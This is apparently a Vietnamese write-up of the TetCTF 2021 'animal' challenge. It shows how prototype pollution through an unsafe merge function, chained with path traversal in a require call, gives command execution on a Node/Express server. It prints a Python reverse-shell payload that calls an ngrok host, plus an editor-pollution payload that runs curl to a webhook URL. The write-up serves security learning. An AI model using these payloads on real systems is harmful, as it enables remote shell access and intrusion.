---
# System prepended metadata

title: Write up animal - TetCTF 2021
tags: [Prototype Pollution]

---

# Write up animal - TetCTF 2021

###### tags: `Prototype Pollution`

Challange cho ta source và trang web như sau:
![](https://i.imgur.com/nYcPCgj.png)

Soure xử lý chính:
```javascript
const express = require('express')
const path = require('path');
const bodyParser = require('body-parser')
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));

const app = express()
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
    extended: true
}));
app.use("/", express.static(__dirname + "/static"));
app.set('views', path.join(__dirname, '/views'));


const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (dest, src) => {
    for (var attr in src) {
        if (isObject(dest[attr]) && isObject(src[attr])) {
            merge(dest[attr], src[attr]);
        } else {
            dest[attr] = src[attr];
        }
    }
    return dest
};

app.get('/', function (req, res, next) {
    try {
        res.send('index.html')
    } catch (error) {
        res.send(error)
    }
})

app.post('/api/tet/years', function (req, res, next) {
    try {
        const list = req.body.list.toString();
        const getList = require("./static/" + list)
        res.json(getList.all())
    } catch (error) {
        res.send(error)
    }
})

app.post('/api/tet/list', function (req, res, next) {
    try {
        const getList1 = require("./static/list-2010-2016.js")
        const getList2 = require("./static/list-2017-2022.js")
        let newList = merge(getList1.all(), getList2.all())
        let data = req.body.data || "";
        newList = merge(newList, data);
        res.json(newList)
    } catch (error) {
        res.send(error)
    }
})

app.get('/api/tet/countdown', async function (req, res, next) {
    try {
        const response = await fetch('http://countdown:8084/tet/countdown');
        const data = await response.text();
        res.send(data)
    } catch (error) {
        res.send(error)
    }
})

const port = 3000
app.listen(port, function () {
    console.log("[Start] Server starting:" + port)
})
```

Khi nhấn vào ``Get animals`` thì sẽ thực hiện gửi POST request đến ``api/tet/list`` và trả về danh sách các con vật trong 12 con giáp ứng với mỗi năm

![](https://i.imgur.com/JQXWjiz.png)

Nhìn vào code xử lý tại endpoint ``api/tet/list`` ta để ý thấy:

```javascript
app.post('/api/tet/list', function (req, res, next) {
    try {
        const getList1 = require("./static/list-2010-2016.js")
        const getList2 = require("./static/list-2017-2022.js")
        let newList = merge(getList1.all(), getList2.all())
        let data = req.body.data || "";
        newList = merge(newList, data);
        res.json(newList)
    } catch (error) {
        res.send(error)
    }
})
```
Tại đây code dùng hàm ``merge`` để gộp 2 list con vật và một list từ ``body.data``. Ta hoàn toàn có thể kiếm soát giá trị của ``req.body.data``, và giá trị này sẽ được ``merge`` vào hệ thống object của chall nên ta có thể thực hiện prototype pollution tại đây

Source đã có bây giờ ta cần tìm sink
Nhìn vào endpoint ``api/tet/years`` sẽ thực hiện require một file nào đó mà ta có thể khai báo thông qua ``req.body.list``
```javascript
app.post('/api/tet/years', function (req, res, next) {
    try {
        const list = req.body.list.toString();
        const getList = require("./static/" + list)
        res.json(getList.all())
    } catch (error) {
        res.send(error)
    }
})
```

Ý tưởng ở đây là ta sẽ tìm một file nào đó trong hệ thống, mà tại file đó ta có thể lợi dụng prototype pollution khiến file đó thực thi sai, từ đó có thể RCE

Theo gợi ý thì ta sẽ có 3 file có thể lợi dụng:
![](https://i.imgur.com/FYsxUnD.png)

Ta sẽ đi vào cách exploit với từng file

#### Đầu tiên là ``Changelog.js``
Tại file này có một phần nội dung như sau:
```javascript
const execSync = require('child_process').execSync
const branch = process.argv[2] || 'origin/latest'
const log = execSync(`git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...`).toString().split(/\n/)
```
Đoạn code trên sẽ thực hiện lấy dữ liệu từ ``process.argv[2]`` để inject vào câu cmd phía dưới để thực thi. Vậy thì ta có thể lợi dụng gì từ đây?

Dùng prototype pollution ta hoàn toàn có thể kiếm soát được câu command theo ý từ đó thực hiện Cmdi và reverse shell

Dùng payload sau để thực hiện reverse shell:
```
{
    "data": {
        "__proto__": {
            "2":";python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"0.tcp.ap.ngrok.io\",13721));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';"
        }
    }
}
```
Sau khi gửi payload thì tại ``api/tet/years`` ta kết hợp Path traversal để truy cập đến ``/script/changelog.js``
![](https://i.imgur.com/NFJYCfO.png)

Kết quả:
![](https://i.imgur.com/fs40bK6.png)

![](https://i.imgur.com/rc8WN5c.png)

#### Thứ hai là ``edit.js``

Ta thấy file này require một file ``index.js`` tại thư mục cha của nó
![](https://i.imgur.com/LkHZFpH.png)

Nội dung file ``index.js`` được require:
```javascript
var spawn = require('child_process').spawn;

module.exports = function (file, opts, cb) {
    if (typeof opts === 'function') {
        cb = opts;
        opts = {};
    }
    if (!opts) opts = {};

    var ed = /^win/.test(process.platform) ? 'notepad' : 'vim';
    var editor = opts.editor || process.env.VISUAL || process.env.EDITOR || ed;
    var args = editor.split(/\s+/);
    var bin = args.shift();

    var ps = spawn(bin, args.concat([ file ]), { stdio: 'inherit' });

    ps.on('exit', function (code, sig) {
        if (typeof cb === 'function') cb(code, sig)
    });
};
```

Ta thấy code sẽ thực hiện câu cmd trong hàm ``spawn`` với bin là câu cmd và arg là mảng các agru. Ta hoàn toàn có thể kiểm soát câu cmd thực thi thông qua việc pollute ``opts.editor``

Payload:
```json
{
	"data": {
		"__proto__": {
       "editor": "curl https://webhook.site/a5df9a5a-3a0e-4a68-86fb-6a8b808097a2"     
		}
	}
}
```
![](https://i.imgur.com/YneMlKO.png)

